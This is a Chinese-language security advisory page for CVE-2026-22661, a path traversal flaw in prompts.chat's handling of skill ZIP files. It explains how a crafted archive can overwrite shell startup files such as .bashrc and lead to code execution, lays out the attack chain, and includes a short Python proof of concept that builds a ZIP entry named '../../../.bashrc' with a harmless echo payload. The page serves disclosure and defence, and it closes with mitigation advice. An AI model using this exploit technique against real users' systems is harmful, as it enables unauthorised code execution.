IPBUF安全漏洞报告
English
CVE-2026-22661 CVSS 8.1 高危

CVE-2026-22661 prompts.chat路径遍历漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-22661
漏洞类型
路径遍历
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
prompts.chat

相关标签

路径遍历任意文件写入代码执行prompts.chatCVE-2026-22661

漏洞概述

prompts.chat在commit 0f8d4c3之前的版本存在严重的路径遍历漏洞。该漏洞源于技能文件处理过程中缺乏对文件名的充分验证。攻击者可以通过构造包含恶意路径遍历序列(如../)的ZIP压缩包,绕过服务器端的安全检查。当受害者解压这些恶意文件时,攻击者能够将文件写入到系统预期的目录之外,甚至覆盖Shell初始化文件,从而在客户端系统上执行任意代码。该漏洞攻击向量为网络,无需身份认证,但需要用户交互,对系统的机密性和完整性造成严重影响。

技术细节

该漏洞的核心原理在于应用在处理ZIP归档中的技能文件时,未对压缩包内文件的文件名进行严格的路径规范化校验。在ZIP文件格式中,文件名字段是可控的,攻击者可以构造包含“../”或绝对路径的文件名。利用流程如下:攻击者首先创建一个特制的ZIP文件,其中包含的文件名被修改为指向系统敏感目录(如用户主目录)的相对路径(例如 ../../../.bashrc)。当用户通过受影响的prompts.chat工具加载并解压该技能包时,程序会直接使用压缩包中未经过滤的文件名进行写入操作。由于缺少目录限制检查,文件被成功写入到父级目录或其他系统位置。更为严重的是,攻击者可以覆盖Shell配置文件(如 .bashrc, .zshrc)。一旦这些文件被覆盖并包含恶意命令,当用户下次启动Shell终端时,恶意命令将自动执行。这导致攻击者无需直接接触目标系统,仅通过诱骗用户加载恶意技能包即可获得代码执行权限,实现从路径遍历到远程代码执行(RCE)的攻击链转换。

攻击链分析

STEP 1
1. 准备阶段
攻击者创建一个特制的ZIP压缩包,其中包含一个文件名带有路径遍历序列(如'../')的文件,旨在覆盖系统关键文件(如.bashrc)。
STEP 2
2. 投递阶段
攻击者通过网络将恶意ZIP包伪装成合法的技能文件发送给目标用户,或上传到第三方资源库诱导用户下载。
STEP 3
3. 利用阶段
目标用户在受影响的prompts.chat工具中加载并解压该技能包。由于未过滤文件名,工具将文件解压到预期目录之外。
STEP 4
4. 执行阶段
恶意内容成功覆盖Shell初始化文件。当用户下次打开终端时,嵌入的恶意命令自动执行,导致攻击者获得代码执行权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os # Create a malicious zip file demonstrating the path traversal # Proof of Concept for CVE-2026-22661 malicious_zip = "malicious_skill.zip" # Payload content that will be written to the target file # In a real attack, this could be a reverse shell script or malicious alias payload_content = "echo 'System compromised via CVE-2026-22661' >> /tmp/pwned.txt\n" try: with zipfile.ZipFile(malicious_zip, 'w') as zf: # Use ZipInfo to construct a filename with path traversal sequences # The goal is to write to the user's home directory, e.g., overwriting .bashrc zinfo = zipfile.ZipInfo(filename="../../../.bashrc") # Set a generic date time for the zip entry zinfo.date_time = (2026, 4, 3, 12, 0, 0) # Write the payload to the zip entry zf.writestr(zinfo, payload_content) print(f"[+] Successfully created malicious ZIP file: {malicious_zip}") print("[+] When extracted by a vulnerable prompts.chat version, this will attempt to overwrite .bashrc") except Exception as e: print(f"[-] Error creating zip file: {e}")

影响范围

prompts.chat < commit 0f8d4c3

防御指南

临时缓解措施
在官方补丁未应用前,建议用户不要加载或解压来源不明的第三方技能包。开发者应在代码中强制检查解压后的文件绝对路径,确保其不超出预定的根目录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表